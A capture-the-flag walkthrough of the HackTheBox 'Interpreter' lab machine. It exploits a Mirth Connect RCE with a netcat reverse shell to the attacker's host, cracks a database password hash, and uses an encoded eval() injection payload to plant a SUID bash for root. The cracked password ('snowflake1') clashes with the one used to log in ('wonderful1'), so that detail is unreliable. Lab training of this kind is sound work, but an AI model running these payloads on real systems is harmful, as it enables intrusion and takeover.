HackTheBox - Interpreter

Updated 29-03-2026

A healthcare integration platform exposes an unpatched RCE, but cracking a non-standard password scheme is only the halfway point — getting to root means finding the flaw hidden inside a server that claims to be safe.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ip=10.129.3.194; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-22 08:30 -0500
Nmap scan report for 10.129.3.194
Host is up (0.30s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
| http-methods:
|_ Potentially risky methods: TRACE
6661/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.05 seconds

Findings:

  • tcp/22: OpenSSH 9.2p1 (Debian)
  • tcp/80: Jetty
  • tcp/443: Jetty (HTTPS)

Foothold

Visiting https://10.129.3.194 redirects to the web admin login page for Mirth Connect by Nextgen.

Clicking Launch Mirth Connect Administrator downloads webstart.jnlp, which indicates the version is v4.0.0.

This version is vulnerable to CVE-2023-43208, which allows unauthenticated RCE.

Using this PoC, we can get a reverse shell.

Start a listener:

1
$ nc -lnvp 1234

Run the exploit with our payload:

1
$ python3 CVE-2023-43208.py -u https://10.129.3.194 -c 'nc -c /bin/bash 10.10.16.4 1234'

Upgrade the shell:

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")' 
mirth@interpreter:/usr/local/mirthconnect$

Database Credentials

We find database credentials in the mirth.properties config file:

1
2
3
4
5
6
7
8
9
10
11
12
13
mirth@interpreter:/usr/local/mirthconnect$ cd conf
mirth@interpreter:/usr/local/mirthconnect/conf$ ls
dbdrivers.xml log4j2.properties mirth.properties
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
# Mirth Connect configuration file
<-SNIP->

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# database credentials
database.username = mirthdb
database.password = MirthPass123!

<-SNIP->

Connecting to the database, we find a username from the PERSON table and a password from the PERSON_PASSWORD table:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mirth@interpreter:/usr/local/mirthconnect/conf$ mariadb -h 127.0.0.1 -P 3306 -u mirthdb -p'MirthPass123!' mc_bdd_prod

MariaDB [mc_bdd_prod]> show tables;

MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD | PASSWORD_DATE |
+-----------+----------------------------------------------------------+---------------------+
| 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [mc_bdd_prod]> select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| 2 | sedric | | | | NULL | | | | 2025-09-21 17:56:02 | NULL | 0 | NULL | | NULL | United States | NULL | 0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+

Password Cracking

In Connect 4.4+, the defaults moved to:

1
2
3
4
digest.algorithm = PBKDF2WithHmacSHA256
digest.iterations = 600000
digest.saltsizeinbytes = 8
digest.keysizeinbits = 256 (=> **32 bytes**)

So, the first step is to base64-decode the entire string into bytes, then carve out the exact sizes implied by the config:

  • salt = digest.saltsizeinbytes = 8 bytes
  • derived key = digest.keysizeinbits / 8 = 256/8 = 32 bytes

Then we create a hashcat-parsable PBKDF2-HMAC-SHA256 hash line using the following syntax:

1
sha256:<iterations>:<salt_base64>:<dk_base64>

We start by carving the SALT and HASH and creating the hash line:

1
2
3
$ SALT=$(echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | head -c 8 | base64)
HASH=$(echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | tail -c 32 | base64)
echo "sha256:600000:$SALT:$HASH" > hash.txt

Crack the password:

1
2
3
4
5
6
7
8
$ hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

<-SNIP->

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

<-SNIP->

Now we can SSH into the machine using the username we extracted from the DB and the cracked password: sedric:wonderful1.

1
2
3
$ ssh sedric@10.129.3.194

sedric@interpreter:~$

Privilege Escalation

Copy the linPEAS script to the target:

1
2
3
$ scp linpeas.sh sedric@10.129.3.194:/tmp                                                 
sedric@10.129.3.194's password:
linpeas.sh

Run it:

1
2
3
sedric@interpreter:~$ cd /tmp
sedric@interpreter:/tmp$ chmod +x linpeas.sh
sedric@interpreter:/tmp$ ./linpeas.sh

notif.py Analysis

We discover a readable Python file:

1
2
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root sedric 33 Feb 22 08:26 /home/sedric/user.txt -rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py

Reviewing the script, it appears we can exploit the eval() call by sending a POST request to http://127.0.0.1:54321/addPatien with malicious XML values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
sedric@interpreter:/tmp$ cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification

if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)

Eval Proof

Test by sending 1+1 and confirming it gets evaluated:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sedric@interpreter:/tmp$ /usr/bin/python3 - <<'PY'
import urllib.request
xml = b'''<?xml version="1.0"?>
<patient>
<firstname>{1+1}</firstname>
<lastname>Doe</lastname>
<sender_app>MirthConnect</sender_app>
<timestamp>20260222T120000</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>'''
req = urllib.request.Request(
"http://127.0.0.1:54321/addPatient",
data=xml,
headers={"Content-Type": "application/xml"},
method="POST",
)
with urllib.request.urlopen(req) as r:
print(r.read().decode())
PY
Patient 2 Doe (M), 26 years old, received from MirthConnect at 20260222T120000

Payload Encoding

The endpoint does not accept special characters, so we convert our payload into a sequence of character codes:

1
2
$ printf 'cp /bin/bash /tmp/evilbash && chmod u+s /tmp/evilbash' | python3 -c 'import sys; s=sys.stdin.read(); print("+".join(f"chr({ord(c)})" for c in s))'             
chr(99)+chr(112)+chr(32)+chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(38)+chr(38)+chr(32)+chr(99)+chr(104)+chr(109)+chr(111)+chr(100)+chr(32)+chr(117)+chr(43)+chr(115)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104)

We can run commands through system shells with eval() using: __import__('os').popen().

Craft and send the malicious request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sedric@interpreter:/tmp$ /usr/bin/python3 - <<'PY'
import urllib.request

xml = b'''<?xml version="1.0"?>
<patient>
<firstname>{__import__('os').popen(chr(99)+chr(112)+chr(32)+chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(38)+chr(38)+chr(32)+chr(99)+chr(104)+chr(109)+chr(111)+chr(100)+chr(32)+chr(117)+chr(43)+chr(115)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104))}</firstname>
<lastname>Doe</lastname>
<sender_app>MirthConnect</sender_app>
<timestamp>20260222T120000</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>'''
req = urllib.request.Request(
"http://127.0.0.1:54321/addPatient",
data=xml,
headers={"Content-Type": "application/xml"},
method="POST",
)
with urllib.request.urlopen(req) as r:
print(r.read().decode())
PY
Patient <os._wrap_close object at 0x7fe92e93ee90> Doe (M), 26 years old, received from MirthConnect at 20260222T120000

Root Shell

Running bash with -p tells bash not to drop privileges. This allows us to escalate to root and get the flag.

1
2
3
4
5
6
7
sedric@interpreter:/tmp$ ls -l
total 1264
-rwsr-xr-x 1 root root 1265648 Feb 22 19:38 evilbash
<-SNIP->

sedric@interpreter:/tmp$ ./evilbash -p
evilbash-5.2#